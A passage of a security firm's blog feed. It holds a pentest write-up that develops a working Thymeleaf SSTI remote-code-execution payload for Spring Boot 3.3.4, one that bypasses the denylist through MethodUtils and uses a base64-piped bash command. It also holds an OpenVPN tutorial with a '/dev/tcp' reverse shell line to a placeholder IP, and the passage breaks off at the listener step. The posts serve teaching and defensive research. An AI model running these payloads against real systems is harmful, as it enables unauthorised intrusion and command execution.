<p>ARM calling convetion - <a href="https://kolegite.com/EE_library/books_and_lectures/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%B8%D1%80%D0%B0%D0%BD%D0%B5/Assembly/ARM_calling_convention.pdf">https://kolegite.com/EE_library/books_and_lectures/%D0%9F%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%B8%D1%80%D0%B0%D0%BD%D0%B5/Assembly/ARM_calling_convention.pdf</a>&#160;<a href="#fnref:11" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:12">
<p>ARM instructions - <a href="https://developer.arm.com/documentation/dui0379/e/arm-and-thumb-instructions/">https://developer.arm.com/documentation/dui0379/e/arm-and-thumb-instructions/</a>&#160;<a href="#fnref:12" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:13">
<p>Ropper - <a href="https://github.com/sashs/Ropper">https://github.com/sashs/Ropper</a>&#160;<a href="#fnref:13" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:14">
<p>Bypass Without Space - <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space">https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Command%20Injection/README.md#bypass-without-space</a>&#160;<a href="#fnref:14" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:15">
<p>ARM Assembly Shellcode - <a href="https://conference.hitb.org/hitbsecconf2018ams/materials/D1T3%20-%20Maria%20Markstedter%20-%20From%20Zero%20to%20ARM%20Assembly%20Bind%20Shellcode.pdf">https://conference.hitb.org/hitbsecconf2018ams/materials/D1T3%20-%20Maria%20Markstedter%20-%20From%20Zero%20to%20ARM%20Assembly%20Bind%20Shellcode.pdf</a>&#160;<a href="#fnref:15" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:16">
<p>CVE-2022-45460 - <a href="https://nvd.nist.gov/vuln/detail/CVE-2022-45460">https://nvd.nist.gov/vuln/detail/CVE-2022-45460</a>&#160;<a href="#fnref:16" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
<li id="fn:17">
<p>Exploit for CVE-2022-45460 - <a href="https://github.com/tothi/pwn-hisilicon-dvr/tree/master">https://github.com/tothi/pwn-hisilicon-dvr/tree/master</a>&#160;<a href="#fnref:17" class="footnote-backref" role="doc-backlink">&#x21a9;&#xfe0e;</a></p>
</li>
</ol>
</div>
]]></content:encoded></item><item><title>Exploiting SSTI in a Modern Spring Boot Application (3.3.4)</title><link>https://modzero.com/en/blog/spring_boot_ssti/</link><pubDate>Wed, 08 Jan 2025 11:00:00 +0000</pubDate><author>parzel</author><category>playground</category><guid>https://modzero.com/en/blog/spring_boot_ssti/</guid><description>Learn how to exploit Server-Side Template Injection (SSTI) in a Spring Boot application using the Thymeleaf templating engine. Special focus will be set on bypassing defenses in newer versions.</description><content:encoded><![CDATA[<p>In a recent pentest on a hardened target, we were able to achieve unauthenticated Remote Code Execution (RCE) via Server-Side Template Injection (SSTI) in a Spring Boot application. In the following we&rsquo;ll be diving into both the Thymeleaf templating engine and into the method we used
to exploit SSTI in a modern Spring Boot application, specifically focusing on bypassing defenses in newer versions of Spring Boot.</p>
<h2 id="identifying-the-bug">Identifying the Bug</h2>
<p>Let&rsquo;s dive right into the bug. During a whitebox pentest, we noticed an interesting reflection of the user&rsquo;s <code>Referer</code> header in one of the templates, which immediately screamed SSTI to us. The application was written in Java and used Spring Boot 3.3.4. Under the hood, Spring Boot uses the Thymeleaf templating engine. The source code snippet in question looked like this:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl"><span class="cp">&lt;!doctype html&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&#34;UTF-8&#34;</span> <span class="p">/&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>SSTI DEMO<span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">    <span class="p">&lt;</span><span class="nt">h1</span> <span class="na">th:text</span><span class="o">=</span><span class="s">&#34;@{&#39;/login?redirectAfterLogin=__${Referer}__&#39;}&#34;</span><span class="p">&gt;&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">  <span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>This appeared to be a classic case of double evaluation, where the expression between double underscores is preprocessed, and the result is then used as part of the template. This pattern is very similar to a <a href="https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/">well-known</a> <code>@{__${path}__}</code> vulnerability. The key difference here was the use of single quotes, which seemed to encase the referrer and made us question if it was an exploitable case.</p>
<p>Interestingly, when we began dynamically testing the endpoint by injecting a single quote in hopes of breaking out of the initial context and inject a simple template expression like <code>${7*7}</code>, the quote got reflected with HTML encoding and initially appeared unexploitable, as shown in the image below. This was most likely why the issue had gone undetected for so long.</p>
<figure><img src="/static/spring_boot/Screenshot1.png"
    alt="HTML encoded single quotes in the HTML source code reflection">
</figure>

<p>But there was an interesting detail: even though we injected a single quote, the reflection contained two HTML encoded single quotes. Enjoying a challenge in our pentests, we decided to dive deeper into this. We set up our own application to reproduce the behavior of the original application for some local debugging.</p>
<p>And as it turns out the issue is in fact exploitable. In the screenshot below, we can see that the preprocessed value is inserted as a literal into the subsequent template evaluation without any kind of encoding. Most likely, the parser tries to fix the broken syntax and comes up with the result from before.</p>
<figure><img src="/static/spring_boot/Screenshot6.png"
    alt="Debugging Thymeleaf template parsing shows that the single quotes are not escaped">
</figure>

<p>This makes the flaw exploitable, and we can easily verify this by sending a request such as the following:</p>
<figure><img src="/static/spring_boot/Screenshot2.png"
    alt="Successful injection with &#39;&#43;${7*7}&#43;&#39;">
</figure>

<p>We can see in the output of the application that we successfully evaluated our payload and got a <code>49</code> in the response. Now, let&rsquo;s exploit this issue to accomplish our sweet RCE!</p>
<h2 id="facing-problems">Facing Problems</h2>
<p>Most often exploiting SSTI flaws in Java are as easy as <code>${T(java.lang.Runtime).getRuntime().exec('calc')}</code>. Let&rsquo;s break this payload down:</p>
<ol>
<li><code>T(java.lang.Runtime)</code>: This accesses the java.lang.Runtime class</li>
<li><code>getRuntime()</code>: This method returns the runtime object associated with the current Java application</li>
<li><code>exec('calc')</code>: This method executes our payload</li>
</ol>
<p>When we tried this payload on our target, the results were underwhelming&hellip; Just a 500 error!</p>
<figure><img src="/static/spring_boot/Screenshot3.png"
    alt="Payload ${T(java.lang.Runtime).getRuntime().exec(&#39;calc&#39;) leads to a 500 error.">
</figure>

<p>Inspecting the debug log we see the following error:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">org.thymeleaf.exceptions.TemplateProcessingException:
</span></span><span class="line"><span class="cl">Instantiation of new objects and access to static classes or parameters is forbidden in this context
</span></span></code></pre></td></tr></table>
</div>
</div><p>The reason for this are the defenses that were built into Thymeleaf in recent versions. As is the case most often, someone else already identified these defenses and tried to circumvent them, which you can read up on in an <a href="https://noventiq.com/security_blog/spring-view-manipulation-in-spring-boot-3-1-2">excellent blog post</a> done by Noventiq. We recommend you read it to understand some of the defenses that Thyemelaf employs.</p>
<p>Naturally we tested the provided payloads, but they are mitigated by now. So it was time to get our hands dirty and find a novel bypass.</p>
<h2 id="bypassing-the-defenses">Bypassing the Defenses</h2>
<p>To sum this up, we have two different parts for the exploit we need. First, we need a reference to the <code>java.lang.Runtime</code> class. Second, we need a way to run a method on it.</p>
<p>Let&rsquo;s start by getting hold of arbitrary classes. One method to get access to the class of an object is to access it like <code>a.getClass()</code> if <code>a</code> was an object. This luckily works quite well. We can instantiate an object of class <code>String</code> by using <code>&quot;&quot;</code>. If we append <code>.class</code>, we can get the <code>Class</code> object associated with the <code>String</code> class.</p>
<figure><img src="/static/spring_boot/Screenshot4.png"
    alt="MVP of the source code to exploit">
</figure>

<p>Each class in Java has the <code>forName</code> function, which allows us to get the class object associated with the class or interface with the given string name. Using it, we can pass the string of the class we want to get. This allows us to access <code>java.lang.Runtime</code> (or any other class, for that matter).</p>
<figure><img src="/static/spring_boot/Screenshot5.png"
    alt="Request/Response with a simple template expression">
</figure>

<p>Unfortunately this is not enough. When we try to run <code>getRuntime()</code> we will get a new error:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"> Calling method <span class="s1">&#39;getRuntime&#39;</span> is forbidden <span class="k">for</span> <span class="nb">type</span> <span class="s1">&#39;class java.lang.Class&#39;</span> in this expression context.
</span></span></code></pre></td></tr></table>
</div>
</div><p>We most likely can bypass this similarly to the blog post from Noventiq by using reflection. Reflection in Java is a feature that allows a program to inspect and manipulate the properties and behavior of objects at runtime. It enables access to classes, methods, and fields dynamically, even if they are private. They are using the class <code>org.springframework.util.ReflectionUtils</code> for this. But this is no longer possible as the class now made it to the denylist of packages and cannot be loaded to run arbitrary functions:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Set</span><span class="o">&lt;</span><span class="n">String</span><span class="o">&gt;</span><span class="w"> </span><span class="n">BLOCKED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">HashSet</span><span class="p">(</span><span class="n">Arrays</span><span class="p">.</span><span class="na">asList</span><span class="p">(</span><span class="s">&#34;java.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;javax.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;jakarta.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;jdk.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.ietf.jgss.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.omg.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.w3c.dom.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.xml.sax.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;com.sun.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;sun.&#34;</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Set</span><span class="o">&lt;</span><span class="n">String</span><span class="o">&gt;</span><span class="w"> </span><span class="n">ALLOWED_ALL_PURPOSES_PACKAGE_NAME_PREFIXES</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">HashSet</span><span class="p">(</span><span class="n">Arrays</span><span class="p">.</span><span class="na">asList</span><span class="p">(</span><span class="s">&#34;java.time.&#34;</span><span class="p">));</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="kd">private</span><span class="w"> </span><span class="kd">static</span><span class="w"> </span><span class="kd">final</span><span class="w"> </span><span class="n">Set</span><span class="o">&lt;</span><span class="n">String</span><span class="o">&gt;</span><span class="w"> </span><span class="n">BLOCKED_TYPE_REFERENCE_PACKAGE_NAME_PREFIXES</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">new</span><span class="w"> </span><span class="n">HashSet</span><span class="p">(</span><span class="n">Arrays</span><span class="p">.</span><span class="na">asList</span><span class="p">(</span><span class="s">&#34;com.squareup.javapoet.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;net.bytebuddy.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;net.sf.cglib.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;javassist.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;javax0.geci.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.apache.bcel.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.aspectj.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.javassist.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.mockito.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.objectweb.asm.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.objenesis.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.aot.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.asm.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.cglib.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.javapoet.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.objenesis.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.web.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.webflow.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.context.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.beans.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.aspects.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.aop.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.expression.&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;org.springframework.util.&#34;</span><span class="p">));</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>As pentesters, we know that a denylist is usually not failsafe. So we searched through all libraries that were imported by our web application and tried to identify interesting classes that might give us the means to call methods via reflection&hellip; And we were successful! The library is not loaded by default in Spring Boot, but it is likely that many applications depend on it as it is in <code>org.apache.commons.lang3</code>. It&rsquo;s called <code>MethodUtils</code>. Checking its <a href="https://commons.apache.org/proper/commons-lang/apidocs/org/apache/commons/lang3/reflect/MethodUtils.html">documentation</a> shows that it has everything we need to create a payload.</p>
<h2 id="developing-the-exploit">Developing the Exploit</h2>
<p>Now we have everything to create an exploit. First, we get the class object of MethodUtils:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w"> </span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;</span><span class="p">)</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>Then we want the instance of Runtime:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w"> </span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;</span><span class="p">).</span><span class="na">invokeStaticMethod</span><span class="p">(</span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;java.lang.Runtime&#34;</span><span class="p">),</span><span class="s">&#34;getRuntime&#34;</span><span class="p">)</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>And finally invoke the method <code>exec</code> on it:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-java" data-lang="java"><span class="line"><span class="cl"><span class="w"> </span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;</span><span class="p">).</span><span class="na">invokeMethod</span><span class="p">(</span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;</span><span class="p">).</span><span class="na">invokeStaticMethod</span><span class="p">(</span><span class="s">&#34;&#34;</span><span class="p">.</span><span class="na">class</span><span class="p">.</span><span class="na">forName</span><span class="p">(</span><span class="s">&#34;java.lang.Runtime&#34;</span><span class="p">),</span><span class="s">&#34;getRuntime&#34;</span><span class="p">),</span><span class="w"> </span><span class="s">&#34;exec&#34;</span><span class="p">,</span><span class="w"> </span><span class="s">&#34;whoami&#34;</span><span class="p">)</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><figure><img src="/static/spring_boot/Screenshot7.png"
    alt="Using MethodUtils to execute a command">
</figure>

<p>Yay, a blind RCE! However, our target was not allowed to create outgoing connections. Also, the involved classes of this exploit imposed multiple restrictions, which is why we opted to write to an intermediate file and return its contents in the HTTP response. This results in our final Frankenstein payload which also allows you to run commands without an external channel:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">Cmd: bash -c <span class="o">{</span>echo,d2hvYW1p<span class="o">}</span><span class="p">|</span><span class="o">{</span>base64,-d<span class="o">}</span><span class="p">|</span><span class="o">{</span>bash,-i<span class="o">}</span>&gt;abc
</span></span><span class="line"><span class="cl">Referer: <span class="s1">&#39;+${&#34;&#34;.class.forName(&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;).invokeMethod(&#34;&#34;.class.forName(&#34;org.apache.commons.lang3.reflect.MethodUtils&#34;).invokeStaticMethod(&#34;&#34;.class.forName(&#34;java.lang.Runtime&#34;),&#34;getRuntime&#34;), &#34;exec&#34;, #ctx.getVariable(&#34;org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER&#34;).getAsyncWebRequest().getHeader(&#34;CMD&#34;))+&#34;&#34;+#ctx.getVariable(&#34;org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER&#34;).getAsyncWebRequest().getResponse().reset()+@servletContext.setAttribute(&#34;1&#34;,#ctx.getVariable(&#34;org.springframework.web.context.request.async.WebAsyncManager.WEB_ASYNC_MANAGER&#34;).getAsyncWebRequest().getResponse().getWriter())+&#34;&#34;+@servletContext.getAttribute(&#34;1&#34;).println(&#34;&#34;.class.forName(&#34;org.apache.commons.io.IOUtils&#34;).toString(&#34;&#34;.class.forName(&#34;org.apache.commons.io.FileUtils&#34;).readFileToString(&#34;abc&#34;).getBytes()))+@servletContext.getAttribute(&#34;1&#34;).close()}+&#39;</span>
</span></span></code></pre></td></tr></table>
</div>
</div><figure><img src="/static/spring_boot/Screenshot8.png"
    alt="Final Payload that returns the command&#39;s result in the HTTP response">
</figure>

<p>We were quite happy - at least for a minute - because we know that there are probably easier ways to achieve the final result. So if you manage to get rid of the file write and find a more direct approach to return the command&rsquo;s results, please <a href="https://parzel.bsky.social">share it</a> :)</p>
]]></content:encoded></item><item><title>Tutorial: How we learned to love the doc(umentation)</title><link>https://modzero.com/en/blog/how-we-learned-to-love-the-doc/</link><pubDate>Mon, 14 Oct 2024 10:00:00 +0000</pubDate><author>Theresa</author><category>playground</category><guid>https://modzero.com/en/blog/how-we-learned-to-love-the-doc/</guid><description>Just read documentation to get RCE?! Our colleague Theresa designed a tutorial guiding you through an OpenVPN exploit scenario — for you to try at home!</description><content:encoded><![CDATA[<p>Ever read documentation to fall asleep quickly at night? Frankly, who doesn&rsquo;t — the &ldquo;man&rdquo; in &ldquo;man page&rdquo; might as well be short for &ldquo;managing insomnia&rdquo;! It may surprise you, but reading documentation can actually do more for us as pentesters than just ensuring a speedy snooze. Sometimes you can find vulnerabilities in software systems simply by perusing the utilized technologies&rsquo; documentation!</p>
<p>How is that possible? Well, documentation can make us aware of risky functionality. Occasionally, system developers make use of a technology without being aware of the entire set of features it offers. This is understandable: with all the technologies included in a modern software project it is admittedly difficult not to miss anything. Still, not being aware of security-critical functionality can have severe consequences as it may facilitate exploits.</p>
<p>In a recent project, we came across such a case. We were testing an IoT device that provided all kinds of interesting functionality. The device could be configured to access the internet via a VPN server. This feature immediately caught our attention since VPN functionality usually implies high privileges. And in fact: the VPN feature could be exploited to establish a root shell on the device, enabling further attacks.</p>
<p>Specifically, a user with administrative privileges could activate the VPN connection by logging in to the device&rsquo;s web interface, uploading an OpenVPN client configuration, and starting the OpenVPN client on the device. We noticed that the application did not impose any restrictions on the configuration options which are included in uploaded OpenVPN client configurations. This lead us to consulting the OpenVPN documentation to look for juicy options. We thus discovered the <code>up</code>-directive, which allows for specifying a script that is run every time a connection to the VPN server is established successfully. Bingo!</p>
<p>This post provides a comprehensive tutorial so you can try this exploit at home!</p>
<h2 id="don-try-this-at-home">Do<del>n&rsquo;t</del> try this at home!</h2>
<p>We have prepared a deliberately vulnerable sample application so you can follow along: <a href="/static/openvpn-exploit-tutorial/vuln-app-poc.zip">vuln-app-poc.zip ⤓</a>.</p>
<h3 id="setup">Setup</h3>
<p>The &ldquo;IoT device&rdquo; hosting both the vulnerable application and the OpenVPN access server it connects to will each run in a dedicated Docker container. You will therefore need Docker installed on your PC. We also need our own OpenVPN access server since this way, it is easy for the &ldquo;IoT device&rdquo; to successfully establish a VPN connection. A VPN connection being established successfully is the trigger for our malicious code to run. The malicious script specified inside the OpenVPN client configuration will establish a reverse shell on the &ldquo;IoT device&rdquo; inside a terminal on your machine.</p>
<p>Once you&rsquo;ve downloaded the vulnerable sample application, navigate into the top-level directory. Build the image and run the container by executing the following commands:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo docker build -t vuln-app-poc:v1.0.0 .
</span></span><span class="line"><span class="cl">sudo docker run -d --cap-add<span class="o">=</span>NET_ADMIN --device /dev/net/tun -p 5000:5000 vuln-app-poc:v1.0.0
</span></span></code></pre></div><p>Notice that we have to endow the container with special privileges: <code>--cap-add=NET_ADMIN</code> means the container is able to interact with your PC&rsquo;s network interfaces (cf. <a href="https://docs.docker.com/engine/reference/run/#/runtime-privilege-and-linux-capabilities">Docker docs on runtime privilege and linux capabilities</a>), and <code>--device /dev/net/tun</code> means the container is allowed to access your PC&rsquo;s <code>tun</code> device.</p>
<p>Once the container has started, you can find the vulnerable application&rsquo;s web interface under <code>http://127.0.0.1:5000</code>. The vulnerable application allows users to upload an OpenVPN client configuration and toggle the OpenVPN client&rsquo;s state between active and inactive (see images below).
At this point however, we neither have a server to connect to nor a configuration to upload, so let&rsquo;s continue with our setup.</p>
<figure><img src="/static/openvpn-exploit-tutorial/vuln-app-vpn-active.png"><figcaption>
      <h4>Uploading an OpenVPN client configuration and starting the server</h4>
    </figcaption>
</figure>

<p>The easiest way to host an OpenVPN Access Server is to use the official Docker image. This way, all we need to do is pull the image from DockerHub and run it —
no need to ruin our day by setting up the server ourselves. Firstly, create a directory for persisting files between multiple runs of the container: <code>mkdir openvpn-tmp</code>.
Then, run the following commands to pull the image and run the container:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">sudo docker pull openvpn/openvpn-as:2.14.0-b90cb316-Ubuntu22
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">sudo docker run -d <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>--name<span class="o">=</span>openvpn-as --cap-add<span class="o">=</span>NET_ADMIN <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>-p 943:943 -p 443:443 -p 1194:1194/udp <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>-v <span class="s2">&#34;</span><span class="k">$(</span>realpath openvpn-tmp<span class="k">)</span><span class="s2">&#34;</span>:/openvpn <span class="se">\
</span></span></span><span class="line"><span class="cl"><span class="se"></span>openvpn/openvpn-as
</span></span></code></pre></div><p>Notice that here too, we need to provide the container with the privilege to interact with network interfaces. Also, the OpenVPN server exposes three ports: 943
(the server&rsquo;s web interface), 1194 (for connecting to the server over UDP), and 443 (for connecting to the server over TCP).</p>
<p>After starting the container, you can navigate to the OpenVPN access server&rsquo;s admin interface under <code>https://127.0.0.1:943/admin</code>. The admin user&rsquo;s username is <code>openvpn</code>, and its password was auto-generated during setup and can be retrieved by executing the command <code>sudo docker logs openvpn-as | grep &quot;Auto-generated pass&quot;</code>.</p>
<p>If we were to set up an actual OpenVPN access server reachable from the public internet, we would need to specify a public IP address or domain under <code>Configuration &gt; Server Network Settings</code>. However, since both the &ldquo;IoT device&rdquo; and the OpenVPN access server are running inside Docker containers, they can address each other using their IP addresses inside the Docker network. Thus, we don&rsquo;t need to modify the server network settings.</p>
<p>Next, we want to create a victim user (under <code>User Management &gt; User Permissions</code> inside the OpenVPN access server&rsquo;s admin panel).
We want the victim user to be able to connect to the access server automatically, without requiring any interaction or authentication. Therefore, we need to make sure we tick the <code>Allow Auto-Login</code> checkbox (see image below). Also, provide the victim user with some arbitrary password for logging in to the access server&rsquo;s web interface.</p>
<figure><img src="/static/openvpn-exploit-tutorial/openvpn-as-user-mgmt.png"><figcaption>
      <h4>Adding a victim user with auto-login enabled</h4>
    </figcaption>
</figure>

<p>We can now log out of the OpenVPN access server&rsquo;s admin panel and log in to the victim user&rsquo;s account. Navigate to <code>https://127.0.0.1:943</code> and log in to the account of the victim user created in the previous step. Download the user&rsquo;s connection profile from <code>Available Connection Interfaces &gt; Yourself(autologin profile)</code>, as shown in the image below. Note that the terms <code>Connection Profile</code> and <code>Client Configuration File</code> refer to the same thing in the context of OpenVPN.</p>
<figure><img src="/static/openvpn-exploit-tutorial/openvpn-as-download-access-profile.png"><figcaption>
      <h4>Downloading the victim user&#39;s access profile</h4>
    </figcaption>
</figure>

<p>Now we have everything ready for mounting the actual exploit. Try to figure it out for yourself first, or continue reading to learn how we did it!</p>
<h3 id="exploit">Exploit</h3>
<p>Next, we will begin the attack by specifying a malicious script inside the client configuration file.</p>
<p>One of the options that can be included in an OpenVPN client configuration is the <code>script-security</code> directive. With this directive, policy-level control over OpenVPN&rsquo;s usage of external programs and scripts can be specified. Possible values are the
numbers from 0 to 3, in ascending order of permissiveness (i.e., 0 = least permissive, 3 = most permissive). <code>script-security 2</code> means that the calling of built-in executables and user-defined scripts is allowed. Consequently, in an OpenVPN client configuration
containing <code>script-security 2</code>, users can define scripts and associate their execution with certain events. Inside the <code>up</code> directive for example, a script that is run whenever a connection to the VPN server has been established can be defined. Similarly, inside the <code>down</code> directive a script that is run whenever the client has disconnected from the VPN server can be defined.</p>
<p>By adding the following two lines to the OpenVPN access profile we downloaded earlier, we can establish a remote shell on <code>XXX.XXX.XXX.XXX:8282</code> (replace <code>XXX.XXX.XXX.XXX</code> with the IP of your own machine) once the client has connected to the OpenVPN server:</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-sh" data-lang="sh"><span class="line"><span class="cl">script-security <span class="m">2</span>
</span></span><span class="line"><span class="cl">up <span class="s2">&#34;/bin/bash -c &#39;/bin/bash -i &gt;&amp; /dev/tcp/XXX.XXX.XXX.XXX/8282 0&gt;&amp;1&#39;&#34;</span>
</span></span></code></pre></div><p>Now that our script is included in the client&rsquo;s access profile, we are good to go! Let&rsquo;s launch a process that listens for incoming connections on port 8282, the port we want the victim&rsquo;s shell to connect to on our machine:</p>
